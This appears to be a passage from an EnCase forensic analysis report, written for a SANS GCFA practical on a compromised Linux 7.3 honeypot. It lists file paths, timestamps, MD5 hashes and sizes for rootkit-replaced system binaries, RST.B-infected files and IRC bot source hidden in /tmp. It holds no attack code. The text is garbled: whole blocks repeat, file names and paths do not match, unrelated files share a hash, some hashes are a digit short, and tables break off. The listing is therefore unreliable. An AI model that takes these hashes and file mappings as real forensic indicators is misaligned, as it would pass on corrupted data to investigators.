<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\cat</td>
</tr>
<tr>
<td>Entry Modified</td>
<td>06/29/03 03:22:11PM</td>
</tr>
<tr>
<td>Last Accessed</td>
<td>06/30/03 04:50:01PM</td>
</tr>
<tr>
<td>Last Written</td>
<td>03/22/02 05:02:03PM</td>
</tr>
<tr>
<td>Hash Value</td>
<td>52fd1af36d878c9986aa9a225f64ee65</td>
</tr>
<tr>
<td>Physical Size</td>
<td>29,696</td>
</tr>
<tr>
<td>Logical Size</td>
<td>29,549</td>
</tr>
</tbody>
</table>

### Hash Value 52fd1af36d878c9986aa9a225f64ee65
### Physical Size 29,696
### Logical Size 29,549

<table>
<thead>
<tr>
<th>225) Name</th>
<th>rmt</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td>File</td>
</tr>
<tr>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\sbin\rmt</td>
</tr>
<tr>
<td>Entry Modified</td>
<td>06/30/03 04:45:40PM</td>
</tr>
<tr>
<td>Last Accessed</td>
<td>06/20/03 04:07:15PM</td>
</tr>
<tr>
<td>Last Written</td>
<td>03/01/02 06:40:43AM</td>
</tr>
<tr>
<td>Hash Value</td>
<td>d50f6c9ae20a2a19a76026ac9d702d55</td>
</tr>
<tr>
<td>Physical Size</td>
<td>378,880</td>
</tr>
<tr>
<td>Logical Size</td>
<td>378,827</td>
</tr>
</tbody>
</table>

### Files outside root kit infected with Linux RST.B virus

Files infected by the linux.rst.b virus

<table>
<thead>
<tr>
<th>226) Name</th>
<th>mail</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td>File</td>
</tr>
<tr>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mail</td>
</tr>
<tr>
<td>Entry Modified</td>
<td>06/30/03 04:55:50PM</td>
</tr>
<tr>
<td>Last Accessed</td>
<td>06/30/03 04:55:50PM</td>
</tr>
<tr>
<td>Last Written</td>
<td>06/30/03 04:55:50PM</td>
</tr>
<tr>
<td>Hash Value</td>
<td>e9762cd89f17ec6e14b09a799f66ab48</td>
</tr>
<tr>
<td>Physical Size</td>
<td>75,776</td>
</tr>
<tr>
<td>Logical Size</td>
<td>75,251</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>227) Name</th>
<th>mt</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td>File</td>
</tr>
<tr>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mt</td>
</tr>
<tr>
<td>Entry Modified</td>
<td>06/30/03 04:55:50PM</td>
</tr>
<tr>
<td>Last Accessed</td>
<td>06/30/03 04:55:50PM</td>
</tr>
<tr>
<td>Last Written</td>
<td>06/30/03 04:55:50PM</td>
</tr>
<tr>
<td>Hash Value</td>
<td>14465d16bfcfa91586bd90e4884d5fd</td>
</tr>
<tr>
<td>Physical Size</td>
<td>22,528</td>
</tr>
<tr>
<td>Logical Size</td>
<td>21,711</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>228) Name</th>
<th>mt</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td>File</td>
</tr>
<tr>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mt</td>
</tr>
<tr>
<td>Entry Modified</td>
<td>06/30/03 04:55:50PM</td>
</tr>
<tr>
<td>Last Accessed</td>
<td>06/30/03 04:55:50PM</td>
</tr>
<tr>
<td>Entry Number</td>
<td>Name</td>
</tr>
<tr>
<td>--------------</td>
<td>------------</td>
</tr>
<tr>
<td>229)</td>
<td>netstat</td>
</tr>
<tr>
<td>230)</td>
<td>cpio</td>
</tr>
<tr>
<td>231)</td>
<td>bash</td>
</tr>
<tr>
<td>232)</td>
<td>chgrp</td>
</tr>
<tr>
<td>233)</td>
<td>ed</td>
</tr>
</tbody>
</table>
234) Name: `chown`  
Description: File  
Full Path: `/bin/chown`  
Entry Modified: 06/30/03 04:55:50PM  
Last Accessed: 06/30/03 04:55:50PM  
Last Written: 06/30/03 04:55:50PM  
Hash Value: 1e9625aa68abf521f64603af3b8ff8b8  
Physical Size: 27,648  
Logical Size: 27,039

235) Name: `dd`  
Description: File  
Full Path: `/bin/dd`  
Entry Modified: 06/30/03 04:55:50PM  
Last Accessed: 06/30/03 04:55:50PM  
Last Written: 06/30/03 04:55:50PM  
Hash Value: 6dd588d72847f606d6c4f90af6dbb74a  
Physical Size: 37,888  
Logical Size: 37,375

236) Name: `ln`  
Description: File  
Full Path: `/bin/ln`  
Entry Modified: 06/30/03 04:55:50PM  
Last Accessed: 06/30/03 04:55:50PM  
Last Written: 06/30/03 04:55:50PM  
Hash Value: 44ac2d1c35045f3f2052d9d21aea75e8  
Physical Size: 29,696  
Logical Size: 28,863

237) Name: `mkdir`  
Description: File  
Full Path: `/bin/mkdir`  
Entry Modified: 06/29/03 03:39:21PM  
Last Accessed: 06/29/03 03:41:11PM  
Last Written: 06/29/03 03:39:21PM  
Hash Value: 7aae71b278f929d854f489fda82f98fd  
Physical Size: 23,552  
Logical Size: 22,655

238) Name: `mv`  
Description: File  
Full Path: `/bin/mv`  
Entry Modified: 06/29/03 03:22:10PM  
Last Accessed: 06/30/03 04:50:00PM  
Last Written: 03/24/02 07:23:18PM  
Hash Value: d45155beffebb7e7d2e61ad84d53a  
Physical Size: 53,248  
Logical Size: 52,255

239) Name: `egrep`  
Description: File  
Full Path: `/bin/egrep`
## Entry Modified
06/19/03 11:34:42AM
Last Accessed 06/30/03 04:50:01PM
Last Written 03/26/02 11:24:49AM
Hash Value 1a1c4e75e82a51bc570350aa22184913
Physical Size 1,024
Logical Size 33

### 240) Name: mnetstat
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mnetstat
Entry Modified: 06/29/03 03:25:20PM
Last Accessed: 06/30/03 04:50:02PM
Last Written: 06/29/03 03:25:20PM
Hash Value: 3939b3986c7342c121aa395a658a5232
Physical Size: 109,568
Logical Size: 108,932

### 241) Name: bzip2recover
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\bzip2recover
Entry Modified: 06/29/03 11:53:01PM
Last Accessed: 06/29/03 11:53:01PM
Last Written: 06/29/03 11:53:01PM
Hash Value: 5d50b7a01bbf832876e7092dc91d70f4
Physical Size: 16,384
Logical Size: 15,624

### 242) Name: gencat
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\gencat
Entry Modified: 06/29/03 11:53:01PM
Last Accessed: 06/29/03 11:53:01PM
Last Written: 06/29/03 11:53:01PM
Hash Value: 84492adb4dddeccff3e3c8a30c99725b
Physical Size: 20,480
Logical Size: 18,040

### 243) Name: gencat
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\gencat
Entry Modified: 06/29/03 11:53:01PM
Last Accessed: 06/29/03 11:53:01PM
Last Written: 06/29/03 11:53:01PM
Hash Value: 84492adb4dddeccff3e3c8a30c99725b
Physical Size: 20,480
Logical Size: 18,040

### 244) Name: getent
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\getent
Entry Modified: 06/29/03 11:53:01PM
Last Accessed: 06/29/03 11:53:01PM
Last Written: 06/29/03 11:53:01PM
Hash Value: f1a14ddaf6053137dbda6798ee90f5a9
## EnCase Computer Analysis Report

**Sans GCFA Cert Assignment: EnCase Computer Analysis Report**

### Physical Size

- 20,480

### Logical Size

- 19,240

#### 245) Name: `iconv`

- **Description**: File
- **Full Path**: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/iconv
- **Entry Modified**: 06/29/03 11:53:01PM
- **Last Accessed**: 06/29/03 11:53:01PM
- **Last Written**: 06/29/03 11:53:01PM
- **Hash Value**: cfaa21a7bab79204868fa7265a7870e6
- **Physical Size**: 53,248
- **Logical Size**: 51,004

#### 246) Name: `lddlibc4`

- **Description**: File
- **Full Path**: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/lddlibc4
- **Entry Modified**: 06/29/03 11:53:01PM
- **Last Accessed**: 06/29/03 11:53:01PM
- **Last Written**: 06/29/03 11:53:01PM
- **Hash Value**: 2e4e896f0ea9192ef5d94673d79dd403
- **Physical Size**: 8,192
- **Logical Size**: 7,800

#### 247) Name: `localedef`

- **Description**: File
- **Full Path**: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/localedef
- **Entry Modified**: 06/29/03 11:53:01PM
- **Last Accessed**: 06/29/03 11:53:01PM
- **Last Written**: 06/29/03 11:53:01PM
- **Hash Value**: bb5be07bef4f5b4d281cf00e5a4fdcb3
- **Physical Size**: 299,008
- **Logical Size**: 298,828

#### 248) Name: `localedef`

- **Description**: File
- **Full Path**: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/localedef
- **Entry Modified**: 06/29/03 11:53:01PM
- **Last Accessed**: 06/29/03 11:53:01PM
- **Last Written**: 06/29/03 11:53:01PM
- **Hash Value**: bb5be07bef4f5b4d281cf00e5a4fdcb3
- **Physical Size**: 299,008
- **Logical Size**: 298,828

#### 249) Name: `sprof`

- **Description**: File
- **Full Path**: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/sprof
- **Entry Modified**: 06/29/03 11:53:01PM
- **Last Accessed**: 06/29/03 11:53:01PM
- **Last Written**: 06/29/03 11:53:01PM
- **Hash Value**: bb5be07bef4f5b4d281cf00e5a4fdcb3
- **Physical Size**: 299,008
- **Logical Size**: 298,828

### EnCase Computer Analysis Report

**Sans GCFA Cert Assignment: EnCase Computer Analysis Report**

### Physical Size

- 20,480

### Logical Size

- 19,240

#### 245) Name: `iconv`

- **Description**: File
- **Full Path**: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/iconv
- **Entry Modified**: 06/29/03 11:53:01PM
- **Last Accessed**: 06/29/03 11:53:01PM
- **Last Written**: 06/29/03 11:53:01PM
- **Hash Value**: cfaa21a7bab79204868fa7265a7870e6
- **Physical Size**: 53,248
- **Logical Size**: 51,004

#### 246) Name: `lddlibc4`

- **Description**: File
- **Full Path**: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/lddlibc4
- **Entry Modified**: 06/29/03 11:53:01PM
- **Last Accessed**: 06/29/03 11:53:01PM
- **Last Written**: 06/29/03 11:53:01PM
- **Hash Value**: 2e4e896f0ea9192ef5d94673d79dd403
- **Physical Size**: 8,192
- **Logical Size**: 7,800

#### 247) Name: `localedef`

- **Description**: File
- **Full Path**: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/localedef
- **Entry Modified**: 06/29/03 11:53:01PM
- **Last Accessed**: 06/29/03 11:53:01PM
- **Last Written**: 06/29/03 11:53:01PM
- **Hash Value**: bb5be07bef4f5b4d281cf00e5a4fdcb3
- **Physical Size**: 299,008
- **Logical Size**: 298,828

#### 248) Name: `localedef`

- **Description**: File
- **Full Path**: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/localedef
- **Entry Modified**: 06/29/03 11:53:01PM
- **Last Accessed**: 06/29/03 11:53:01PM
- **Last Written**: 06/29/03 11:53:01PM
- **Hash Value**: bb5be07bef4f5b4d281cf00e5a4fdcb3
- **Physical Size**: 299,008
- **Logical Size**: 298,828

#### 249) Name: `sprof`

- **Description**: File
- **Full Path**: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/sprof
- **Entry Modified**: 06/29/03 11:53:01PM
- **Last Accessed**: 06/29/03 11:53:01PM
- **Last Written**: 06/29/03 11:53:01PM
- **Hash Value**: bb5be07bef4f5b4d281cf00e5a4fdcb3
- **Physical Size**: 299,008
- **Logical Size**: 298,828

#### 250) Name: `sprof`
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>db1_dump185</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/bin\sprof</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>4206b74dd02af036ee754efe56898b3b</td>
<td>24,576</td>
<td>20,552</td>
</tr>
<tr>
<td>db1_dump185</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/bin\db1_dump185</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>174712fef4fb412ad992e992e3a35182</td>
<td>12,288</td>
<td>11,525</td>
</tr>
<tr>
<td>lsattr</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/bin\lsattr</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>56853d1f05a0a1562c83811c02644930</td>
<td>12,288</td>
<td>9,684</td>
</tr>
<tr>
<td>lsattr</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/bin\lsattr</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>56853d1f05a0a1562c83811c02644930</td>
<td>12,288</td>
<td>9,684</td>
</tr>
<tr>
<td>eject</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/bin\eject</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>56853d1f05a0a1562c83811c02644930</td>
<td>12,288</td>
<td>9,684</td>
</tr>
</tbody>
</table>
### EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report  Page 302

<table>
<thead>
<tr>
<th>Last Written</th>
<th>06/29/03 11:53:01PM</th>
</tr>
</thead>
<tbody>
<tr>
<td>Hash Value</td>
<td>85042620b5dd45a67c0280c9a3751793</td>
</tr>
<tr>
<td>Physical Size</td>
<td>28,672</td>
</tr>
<tr>
<td>Logical Size</td>
<td>25,812</td>
</tr>
</tbody>
</table>

#### 256) Name: eject

- **Description**: File
- **Full Path**: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/eject
- **Entry Modified**: 06/29/03 11:53:01PM
- **Last Accessed**: 06/29/03 11:53:01PM
- **Last Written**: 06/29/03 11:53:01PM
- **Hash Value**: 85042620b5dd45a67c0280c9a3751793
- **Physical Size**: 28,672
- **Logical Size**: 25,812

#### 257) Name: file

- **Description**: File
- **Full Path**: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/file
- **Entry Modified**: 06/29/03 11:53:01PM
- **Last Accessed**: 06/29/03 11:53:01PM
- **Last Written**: 06/29/03 11:53:01PM
- **Hash Value**: 63a4be81d1843be376f98b0986ff836a
- **Physical Size**: 49,152
- **Logical Size**: 48,674

#### 258) Name: file

- **Description**: File
- **Full Path**: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/file
- **Entry Modified**: 06/29/03 11:53:01PM
- **Last Accessed**: 06/29/03 11:53:01PM
- **Last Written**: 06/29/03 11:53:01PM
- **Hash Value**: 63a4be81d1843be376f98b0986ff836a
- **Physical Size**: 49,152
- **Logical Size**: 48,674

#### 259) Name: ksymoops

- **Description**: File
- **Full Path**: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/ksymoops
- **Entry Modified**: 06/29/03 11:53:01PM
- **Last Accessed**: 06/29/03 11:53:01PM
- **Last Written**: 06/29/03 11:53:01PM
- **Hash Value**: 0d9ddc9a28dccc0313ac4012f20c6c31
- **Physical Size**: 450,560
- **Logical Size**: 448,456

#### 260) Name: ksymoops

- **Description**: File
- **Full Path**: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/ksymoops
- **Entry Modified**: 06/29/03 11:53:01PM
- **Last Accessed**: 06/29/03 11:53:01PM
- **Last Written**: 06/29/03 11:53:01PM
- **Hash Value**: 0d9ddc9a28dccc0313ac4012f20c6c31
- **Physical Size**: 450,560
- **Logical Size**: 448,456

---

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
261) Name  a2p
Description  File
Full Path  Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/a2p
Entry Modified  06/29/03 11:53:02PM
Last Accessed  06/29/03 11:53:02PM
Last Written  06/29/03 11:53:02PM
Hash Value  5da1e3d5a9112696f117b6c2256240e
Physical Size  110,592
Logical Size  106,681

262) Name  a2p
Description  File
Full Path  Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/a2p
Entry Modified  06/29/03 11:53:02PM
Last Accessed  06/29/03 11:53:02PM
Last Written  06/29/03 11:53:02PM
Hash Value  5da1e3d5a9112696f117b6c2256240e
Physical Size  110,592
Logical Size  106,681

IRC Files

263) Name  services
Description  File
Full Path  Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/X11-pipe/inetd/services
Entry Modified  06/29/03 03:32:50PM
Last Accessed  06/29/03 03:32:50PM
Last Written  03/15/02 07:27:40PM
Hash Value  a964f156ab911428a2ae6e8349842f13
Physical Size  475,136
Logical Size  474,596

264) Name  randpickup.e
Description  File
Full Path  Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/X11-pipe/randfiles/randpickup.e
Entry Modified  06/29/03 03:32:50PM
Last Accessed  06/29/03 03:32:50PM
Last Written  10/09/00 06:22:02PM
Hash Value  d05256617d3228d1eb4dade64bd0529
Physical Size  3,072
Logical Size  2,495

265) Name  Makefile.in
Description  File
Full Path  Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/X11-pipe/src/Makefile.in
Entry Modified  06/29/03 03:32:50PM
Last Accessed  06/29/03 03:32:50PM
Last Written  10/09/00 06:22:02PM
### EnCase Computer Analysis Report

Sans GCFA Cert Assignment

<table>
<thead>
<tr>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>f87636f121d2087482ee5cbea3934fb3</td>
<td>3,072</td>
<td>3,002</td>
</tr>
</tbody>
</table>

266) Name: commands.c  
Description: File  
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\commands.c  
Entry Modified: 06/29/03 03:32:50PM  
Last Accessed: 06/29/03 03:32:50PM  
Last Written: 02/27/01 07:15:16AM  
Hash Value: a1b52263ba66d7c90fc549ef70230c4  
Physical Size: 41,984  
Logical Size: 41,966

Comment:

267) Name: dcc.c  
Description: File  
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\dcc.c  
Entry Modified: 06/29/03 03:32:50PM  
Last Accessed: 06/29/03 03:32:50PM  
Last Written: 10/09/00 06:22:02PM  
Hash Value: e079886945868cdbd4a5e4952b4cbbb0  
Physical Size: 10,240  
Logical Size: 9,929

268) Name: global.h  
Description: File  
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\global.h  
Entry Modified: 06/29/03 03:32:50PM  
Last Accessed: 06/29/03 03:32:50PM  
Last Written: 02/26/01 06:12:04PM  
Hash Value: c0f09ce5d8d0a233cf59a39a8fa089be  
Physical Size: 12,288  
Logical Size: 12,044

269) Name: structs.h  
Description: File  
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\structs.h  
Entry Modified: 06/29/03 03:32:50PM  
Last Accessed: 06/29/03 03:32:50PM  
Last Written: 02/26/01 04:27:42PM  
Hash Value: 7f4edf55bb5062c91208937fb4c3738c  
Physical Size: 9,216  
Logical Size: 8,264

270) Name: config.h  
Description: File  
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\config.h  
Entry Modified: 06/29/03 03:32:50PM
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>combot.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-unix/.X11-</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:24PM</td>
<td>3ac8152d92ce3822bd6eafe4a777da13</td>
<td>9,216</td>
<td>8,249</td>
</tr>
<tr>
<td>dcc.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-unix/.X11-</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:26PM</td>
<td>1568e3352c2d6b24cfd7a68ba1923f0</td>
<td>68,608</td>
<td>67,624</td>
</tr>
<tr>
<td>function.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-unix/.X11-</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:28PM</td>
<td>5b71f957cb4413bd2a436f56deba6d0f</td>
<td>56,320</td>
<td>55,580</td>
</tr>
<tr>
<td>main.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-unix/.X11-</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:32PM</td>
<td>4af75da2abc5aa665f66515d29fd095b</td>
<td>81,920</td>
<td>81,328</td>
</tr>
<tr>
<td>xmech.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-unix/.X11-</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:32PM</td>
<td>4af75da2abc5aa665f66515d29fd095b</td>
<td>81,920</td>
<td>81,328</td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

276) Name: randinsult.e
   Description: File
   Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\randfiles\randinsult.e
   Entry Modified: 06/29/03 03:32:50PM
   Last Accessed: 06/29/03 03:32:50PM
   Last Written: 10/09/00 06:22:02PM
   Hash Value: a1b350ce4e068376627b4e9c36ebc9f7
   Physical Size: 4,096
   Logical Size: 3,982

277) Name: randinsult.e
   Description: File
   Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\randfiles\randinsult.e
   Entry Modified: 06/29/03 03:32:50PM
   Last Accessed: 06/29/03 03:32:50PM
   Last Written: 10/09/00 06:22:02PM
   Hash Value: a1b350ce4e068376627b4e9c36ebc9f7
   Physical Size: 4,096
   Logical Size: 3,982

278) Name: randversions.e
   Description: File
   Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\randfiles\randversions.e
   Entry Modified: 06/29/03 03:32:50PM
   Last Accessed: 06/29/03 03:32:50PM
   Last Written: 10/09/00 06:22:02PM
   Hash Value: 0b252e189020453aad18b93913e44ec3
   Physical Size: 2,048
   Logical Size: 1,465

279) Name: com-ons.c
   Description: File
   Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\com-ons.c
   Entry Modified: 06/29/03 03:32:50PM
   Last Accessed: 06/29/03 03:32:50PM
   Last Written: 02/27/01 07:14:04AM
   Hash Value: daf8812cc62b784f6d6a10ef388288d7
   Physical Size: 28,672
   Logical Size: 28,470

280) Name: defines.h
   Description: File
   Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\defines.h
<table>
<thead>
<tr>
<th>Entry</th>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>281)</td>
<td>h.h</td>
<td>File</td>
<td>Sans GCFA Cert Assignment:Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/h.h</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>854b211a185d795497cc0a21c7778249</td>
<td>5,120</td>
<td>4,508</td>
</tr>
<tr>
<td>282)</td>
<td>main.c</td>
<td>File</td>
<td>Sans GCFA Cert Assignment:Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/main.c</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/26/01 06:00:24PM</td>
<td>8e0b21b02c62373ed8bca9974ee10776</td>
<td>16,384</td>
<td>15,681</td>
</tr>
<tr>
<td>283)</td>
<td>parse.c</td>
<td>File</td>
<td>Sans GCFA Cert Assignment:Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/parse.c</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/22/00 10:47:20AM</td>
<td>2fe83f9857e025c5759f45926d17a35b</td>
<td>21,504</td>
<td>21,078</td>
</tr>
<tr>
<td>284)</td>
<td>vars.c</td>
<td>File</td>
<td>Sans GCFA Cert Assignment:Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/vars.c</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>57bdcd9a8d9126a49472d85485bae729</td>
<td>10,240</td>
<td>10,190</td>
</tr>
<tr>
<td>285)</td>
<td>vars.c</td>
<td>File</td>
<td>Sans GCFA Cert Assignment:Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/vars.c</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>57bdcd9a8d9126a49472d85485bae729</td>
<td>10,240</td>
<td>10,190</td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

Last Written: 10/09/00 06:22:02PM
Hash Value: 57bd2dcb9d9126a49472d85485bae729
Physical Size: 10,240
Logical Size: 10,190

286) Name: configfile.o
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\configfile.o
Entry Modified: 08/27/01 02:00:20PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 08/27/01 02:00:20PM
Hash Value: 0a445c0fa05cf6b6d3c4af0fc99e5e2
Physical Size: 71,680
Logical Size: 71,392

287) Name: com-ns.o
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\com-ns.o
Entry Modified: 08/27/01 02:00:20PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 08/27/01 02:00:20PM
Hash Value: 1f39ee4b22d6e67cae4269eccfead55e
Physical Size: 92,160
Logical Size: 91,656

288) Name: socket.o
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\socket.o
Entry Modified: 08/27/01 02:00:20PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 08/27/01 02:00:20PM
Hash Value: f24d2e6209d9af3cb33ef16714d5b035
Physical Size: 56,320
Logical Size: 55,316

289) Name: TODO
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\TODO
Entry Modified: 08/27/01 02:00:20PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 10/09/00 06:22:02PM
Hash Value: d4179b6ed4a1928a7e13fe08773943e
Physical Size: 2,048
Logical Size: 1,569

290) Name: Makefile
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\Makefile
Entry Modified: 08/27/01 02:00:20PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 10/09/00 06:22:02PM
### Log file information

#### 291) Name: samba.tgz
- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font_unix/samba.tgz
- **Entry Modified:** 06/29/03 03:41:42PM
- **Last Accessed:** 06/29/03 03:41:56PM
- **Last Written:** 04/29/03 06:48:30AM
- **Hash Value:** 4c41dbabb341cf57e56c0394d6efc3d3
- **Physical Size:** 13,312
- **Logical Size:** 13,183

**Comment:** Last log entries in cron.1 - normal

Jun 29 04:01:01 rh1 CROND\[10319\]: (root) CMD (run-parts /etc/cron.hourly)
Jun 29 04:02:00 rh1 CROND\[10321\]: (root) CMD (run-parts /etc/cron.daily)
Jun 29 04:02:04 rh1 anacron\[10485\]: Updated timestamp for job `cron.daily' to 2003-06-29

#### 292) Name: cron.1
- **Entry Modified:** 06/29/03 04:02:05AM
- **Last Accessed:** 06/29/03 04:02:00AM
- **Last Written:** 06/29/03 04:02:04AM
- **Hash Value:** f8670b0876691e1f24dde35972127642
- **Comment:** Last log entries in cron.1 - normal

#### 293) Name: access_log
- **Entry Modified:** 06/29/03 03:36:49PM
- **Last Accessed:** 06/29/03 03:36:49PM
- **Last Written:** 06/29/03 03:36:49PM
- **Hash Value:** e32d45931d3dd58258ce7bb86978cd02
- **Comment:** httpd access log

